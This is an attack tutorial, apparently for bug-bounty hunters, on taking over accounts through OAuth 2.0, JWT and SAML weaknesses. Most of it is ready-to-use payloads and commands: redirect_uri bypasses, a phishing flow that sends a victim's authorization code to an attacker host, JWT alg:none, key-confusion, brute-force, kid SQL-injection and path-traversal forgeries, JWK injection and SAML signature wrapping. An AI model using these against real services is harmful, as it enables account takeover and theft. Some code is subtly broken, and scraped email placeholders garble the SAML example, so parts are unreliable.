OAuth 2.0 Flow and Its Vulnerabilities
OAuth 2.0 is an authorization framework that allows a third-party application to obtain limited access to a user's account on another service. The protocol is implemented as a series of HTTP redirects, and each step contains potential security flaws. The most critical attacks lead to account takeover (ATO) — where an attacker gains full control over a victim's account on the relying party application.
The Authorization Code Flow
# Standard OAuth 2.0 Authorization Code Flow:
# 1. Client initiates login:
GET /oauth/authorize?
response_type=code&
client_id=app123&
redirect_uri=https://app.example.com/callback&
scope=read:profile&
state=random_csrf_token
# Hosted at: oauth-provider.com
# 2. User authenticates and approves
# 3. Provider redirects with authorization code:
302 Location: https://app.example.com/callback?code=AUTH_CODE_XYZ&state=random_csrf_token
# 4. App exchanges code for tokens (server-to-server):
POST /oauth/token
client_id=app123&client_secret=SECRET&code=AUTH_CODE_XYZ&
redirect_uri=https://app.example.com/callback&grant_type=authorization_code
# 5. Provider returns:
{"access_token":"eyJ...", "token_type":"Bearer", "expires_in":3600, "refresh_token":"..."}
# Vulnerabilities exist at steps 1, 3, and 4
Open Redirect in redirect_uri — Account Takeover
The redirect_uri parameter tells the OAuth provider where to send the authorization code. If the provider's validation is too permissive, an attacker can redirect the code to their server:
# Vulnerable redirect_uri validation — registered redirect: https://app.example.com/callback
# Bypass 1: Path traversal
redirect_uri=https://app.example.com/callback/../evil
# Bypass 2: Subdomain
redirect_uri=https://evil.app.example.com/callback # if only checking domain suffix
# Bypass 3: Query parameter injection
redirect_uri=https://app.example.com/callback?redirect_to=https://evil.com
# Bypass 4: Fragment
redirect_uri=https://app.example.com/callback#@evil.com
# Bypass 5: Wildcard abuse
# If registered: https://app.example.com/*
redirect_uri=https://app.example.com/callback/../%[email protected]/
# Step-by-step ATO attack:
# 1. Register a client that's similar to the legitimate one
# 2. Craft malicious authorization URL:
https://oauth-provider.com/oauth/authorize?
client_id=LEGITIMATE_APP_CLIENT_ID&
response_type=code&
redirect_uri=https://evil.attacker.com/steal&
scope=read:profile email&
state=attacker_csrf_bypass
# 3. Send this URL to victim (phishing email, social engineering)
# 4. Victim authenticates with their credentials
# 5. Provider redirects to attacker.com with victim's auth code:
# https://evil.attacker.com/steal?code=VICTIM_AUTH_CODE
# 6. Attacker exchanges code for tokens:
POST /oauth/token
client_id=LEGITIMATE_APP_CLIENT_ID&
client_secret=OBTAINED_BY_REVERSE_ENGINEERING_APP&
code=VICTIM_AUTH_CODE&
redirect_uri=https://evil.attacker.com/steal&
grant_type=authorization_code
# 7. Received access token is valid for victim's account — full ATO!
State Parameter CSRF Attack
# If state parameter is absent or not validated:
# Attacker initiates OAuth flow, gets a valid authorization URL
# Stops at the redirect step (has a valid code for attacker's account)
# Sends this redirect URL to victim:
# https://app.example.com/callback?code=ATTACKERS_CODE
# (no state parameter check)
# Victim's browser processes this — their session gets linked to attacker's account
# Attacker can now log in as victim using their own OAuth identity
# Full CSRF ATO flow:
# 1. Attacker starts OAuth login flow on app.example.com
# 2. Gets authorization code for their own account
# 3. Victim is already logged in to app.example.com with their account
# 4. Attacker sends victim this URL:
GET /callback?code=ATTACKER_CODE&state=MISSING_OR_PREDICTABLE
# 5. App exchanges code, gets attacker's profile, LINKS attacker's OAuth to victim's session
# 6. Attacker's OAuth identity is now linked to victim's account
JWT Attack Suite
JSON Web Tokens (JWT) are the dominant authentication token format in modern web applications. They consist of three base64url-encoded parts separated by dots: Header.Payload.Signature. The header specifies the algorithm, the payload contains claims, and the signature verifies integrity. Multiple cryptographic vulnerabilities exist in JWT implementations.
JWT Structure Dissection
# Example JWT:
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlcm5hbWUiOiJqb2huIiwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTcxMTAwMDAwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
# Decode header:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# {"alg":"HS256","typ":"JWT"}
# Decode payload:
echo "eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlcm5hbWUiOiJqb2huIiwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTcxMTAwMDAwMH0" | base64 -d
# {"sub":"1234567890","username":"john","isAdmin":false,"iat":1711000000}
# The signature prevents tampering IF verified correctly
Algorithm None Attack
# If the server accepts JWTs with "alg":"none", it skips signature verification
# Construct a token with no signature:
# Step 1: Decode and modify the payload
original_header = {"alg":"HS256","typ":"JWT"}
original_payload = {"sub":"1234567890","username":"john","isAdmin":false}
# Step 2: Change alg to none and set isAdmin to true
new_header = {"alg":"none","typ":"JWT"}
new_payload = {"sub":"1234567890","username":"john","isAdmin":true}
# Step 3: Encode without signature
import base64, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()
header_enc = b64url(new_header)
payload_enc = b64url(new_payload)
# Format: header.payload. (empty signature, trailing dot)
malicious_jwt = f"{header_enc}.{payload_enc}."
print(malicious_jwt)
# Variations to try (case-insensitive algorithm name):
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"
# Using jwt_tool.py:
python3 jwt_tool.py TOKEN -X a
# -X a : exploit alg:none
# Output: tampered token with none algorithm
RS256 to HS256 Key Confusion Attack
This is the most powerful JWT attack in practice. When a system uses RS256 (asymmetric — signed with private key, verified with public key), the public key is typically available at a JWKS endpoint. An attacker changes the algorithm to HS256 (symmetric — signs and verifies with the same secret) and uses the public key as the HMAC secret:
# Step 1: Obtain the server's RS256 public key
# Common locations:
# /.well-known/jwks.json
# /api/auth/jwks
# /oauth/discovery
# Embedded in the JWT's jwk header claim
curl https://target.com/.well-known/jwks.json
# {
# "keys": [{
# "kty": "RSA",
# "use": "sig",
# "n": "pjdss8ZaDfEH6K6U7GeW2nxDqR4IP049fk1fK0lndimbMMVBdPv...",
# "e": "AQAB",
# "kid": "key-1",
# "alg": "RS256"
# }]
# }
# Step 2: Extract public key in PEM format
# From JWKS n/e components:
python3 -c "
import base64, struct
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
n_b64 = 'pjdss8ZaDfEH...' # the n value from JWKS
e_b64 = 'AQAB'
def decode_b64url(s):
padding = '=' * (4 - len(s) % 4)
return int.from_bytes(base64.urlsafe_b64decode(s + padding), 'big')
n = decode_b64url(n_b64)
e = decode_b64url(e_b64)
public_key = RSAPublicNumbers(e, n).public_key(default_backend())
pem = public_key.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
print(pem.decode())
"
# Step 3: Sign forged token with HS256 using the public key as the secret
python3 jwt_tool.py TOKEN -X k -pk public_key.pem
# -X k : key confusion attack
# -pk : path to public key PEM file
# Output: forged HS256 token signed with the public key
# Manual HS256 signing with public key:
import jwt, base64
with open('public_key.pem', 'rb') as f:
public_key_bytes = f.read()
payload = {"sub": "admin", "username": "admin", "isAdmin": True, "iat": 1711000000}
# IMPORTANT: must use the raw PEM bytes as HMAC secret
token = jwt.encode(payload, public_key_bytes, algorithm='HS256',
headers={"alg":"HS256","typ":"JWT"})
print(token)
JWT Secret Brute Force
# Brute force weak HS256/HS384/HS512 secrets:
# Using hashcat (fastest on GPU):
# JWT hash format for hashcat: mode 16500
hashcat -a 0 -m 16500 jwt_token.txt wordlist.txt
# Example:
# jwt_token.txt contains the full JWT:
# eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
# Wordlists to try:
# rockyou.txt
# SecLists/Passwords/Common-Credentials/top-passwords-shortlist.txt
# Custom: company name, app name, "secret", "password", "jwt_secret"
# Using jwt-cracker (Node.js):
jwt-cracker -t "eyJhbGciOiJIUzI1NiJ9..." -a "[a-z0-9]" --maxLength 6
# Using jwt_tool.py dictionary attack:
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt
# Once secret found, forge any payload:
import jwt
secret = "found_secret"
payload = {"sub": "1", "username": "admin", "role": "admin", "iat": 1711000000}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
kid (Key ID) Injection
The kid header claim tells the server which key to use for verification. If the server uses this value in a database query or file path to look up the key without sanitization, it's vulnerable to SQL injection or path traversal:
# kid SQL injection:
# Server does: SELECT key FROM keys WHERE kid = '{kid_value}'
# If no results: defaults to a predictable value (or empty string)
# Forge JWT with kid SQL injection:
{
"alg": "HS256",
"typ": "JWT",
"kid": "x' UNION SELECT 'attackerkey' --"
}
# The SQL returns 'attackerkey' as the signing key
# Sign the forged token with HMAC-SHA256 using "attackerkey" as secret
python3 jwt_tool.py TOKEN -I -hc kid -hv "x' UNION SELECT 'attackerkey'--" \
-S hs256 -p "attackerkey"
# kid path traversal:
# Server does: open(f"/keys/{kid}", "rb")
# Forge: kid = ../../../../dev/null
# /dev/null = empty file = empty string HMAC secret = sign with empty secret!
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../dev/null"
}
# Sign with empty string:
import jwt
payload = {"user":"admin","isAdmin":True}
token = jwt.encode(payload, "", algorithm="HS256",
headers={"kid":"../../../../dev/null"})
# Using jwt_tool.py:
python3 jwt_tool.py TOKEN -I -hc kid -hv "../../../../dev/null" -S hs256 -p ""
JWK Header Injection
# The jwk header claim embeds a JSON Web Key directly in the token header
# Vulnerable servers use the embedded key to verify the signature
# (should only use server-side trusted keys)
# Step 1: Generate a RSA key pair:
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
# Step 2: Get the public key in JWK format:
python3 -c "
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64, json
with open('attacker_private.pem', 'rb') as f:
private_key = serialization.load_pem_private_key(f.read(), password=None, backend=default_backend())
public_key = private_key.public_key()
public_numbers = public_key.public_key().public_numbers()
def int_to_b64url(i):
byte_length = (i.bit_length() + 7) // 8
return base64.urlsafe_b64encode(i.to_bytes(byte_length, 'big')).rstrip(b'=').decode()
jwk = {
'kty': 'RSA',
'n': int_to_b64url(public_numbers.n),
'e': int_to_b64url(public_numbers.e),
'alg': 'RS256',
'use': 'sig'
}
print(json.dumps(jwk))
"
# Step 3: Forge JWT with embedded JWK:
# Header:
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "ATTACKER_N",
"e": "AQAB",
"alg": "RS256",
"use": "sig"
}
}
# Payload: modified claims
# Sign with attacker's private key
# jwt_tool.py automates this:
python3 jwt_tool.py TOKEN -X i
# -X i : JWK injection attack
# Generates key pair, embeds public key, signs with private key
jwt_tool.py — Complete Workflow
# Installation:
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt
# Decode and analyze a JWT:
python3 jwt_tool.py eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiJ9.SIGNATURE
# Shows decoded header, payload, and signature
# Scan for vulnerabilities:
python3 jwt_tool.py TOKEN -t https://target.com/api/profile -rh "Authorization: Bearer TOKEN"
# -t : tamper mode, tests all vulnerabilities against the endpoint
# -rh : request header format
# Modify claim and sign:
python3 jwt_tool.py TOKEN -I -pc username -pv admin -S hs256 -p "secret123"
# -I : inject/modify
# -pc : payload claim name
# -pv : payload claim value
# -S hs256 : signing algorithm
# -p : secret/password
# Full attack suite one-liner:
python3 jwt_tool.py TOKEN -X all -t https://target.com/api/me \
-rh "Authorization: Bearer TOKEN" -cv "isAdmin"
# -X all : try all exploits
# -cv : check for this claim value changing in response
SAML Signature Wrapping
SAML (Security Assertion Markup Language) is used for enterprise SSO. A SAML assertion is an XML document signed by the identity provider (IdP). The service provider (SP) validates the signature to trust the assertion. Signature wrapping attacks manipulate the XML structure so the validated element is different from the element the SP processes:
# SAML assertion structure:
<samlp:Response>
<saml:Assertion ID="signed_assertion_1">
<saml:Subject>
<saml:NameID>[email protected]</saml:NameID>
</saml:Subject>
<ds:Signature>...signs signed_assertion_1...</ds:Signature>
</saml:Assertion>
</samlp:Response>
# Wrapping attack — inject unsigned assertion BEFORE the signed one:
<samlp:Response>
<saml:Assertion ID="injected_evil_assertion">
<saml:Subject>
<saml:NameID>[email protected]</saml:NameID> <!-- ATTACKER IDENTITY -->
</saml:Subject>
<!-- No signature on this one -->
<saml:Assertion ID="signed_assertion_1">
<saml:Subject>
<saml:NameID>[email protected]</saml:NameID>
</saml:Subject>
<ds:Signature>...valid signature on this inner assertion...</ds:Signature>
</saml:Assertion>
</saml:Assertion>
</samlp:Response>
# Vulnerable SP behavior:
# XML signature verifier: validates the signature on the INNER assertion (passes)
# SAML processor: reads the FIRST assertion's NameID = [email protected]
# Result: Authenticated as admin!
# Testing with SAML Raider (Burp extension):
# 1. Intercept SAML assertion in Burp
# 2. Extensions > SAML Raider > Send to SAML Raider
# 3. Try XSW (XML Signature Wrapping) attacks
# 4. Modify NameID in the SAML editor
Token Leakage via Referer Header
# OAuth tokens in URLs (implicit flow) are leaked via Referer header
# When user navigates from page containing token to another page:
# URL: https://app.example.com/dashboard#access_token=TOKEN123
# If the page loads external resources (analytics, CDN):
# The browser sends: Referer: https://app.example.com/dashboard#access_token=TOKEN123
# External server logs include the full URL with token!
# More common: authorization codes in Referer
# https://app.example.com/callback?code=AUTH_CODE&state=STATE
# If this page has:
# <img src="https://analytics.example.com/track.png">
# The analytics server receives Referer with the auth code
# Defense: Use referrer-policy header
# Referrer-Policy: no-referrer (removes Referer entirely)
# Referrer-Policy: origin (only sends origin, no path/fragment)
# Session fixation in OAuth:
# If state parameter is absent: CSRF possible
# If app accepts any state value: open session fixation
# Attack: attacker pre-generates state, tricks victim to use it
Authentication attack vectors continue to proliferate as applications adopt more complex identity federation patterns. JWT vulnerabilities, OAuth misconfigurations, and SAML signature weaknesses collectively represent the highest-value targets in modern bug bounty programs because successful exploitation typically results in account takeover — the most impactful web vulnerability category. Mastering jwt_tool.py and understanding the subtle protocol-level flaws in each authentication standard is essential for any serious web security researcher.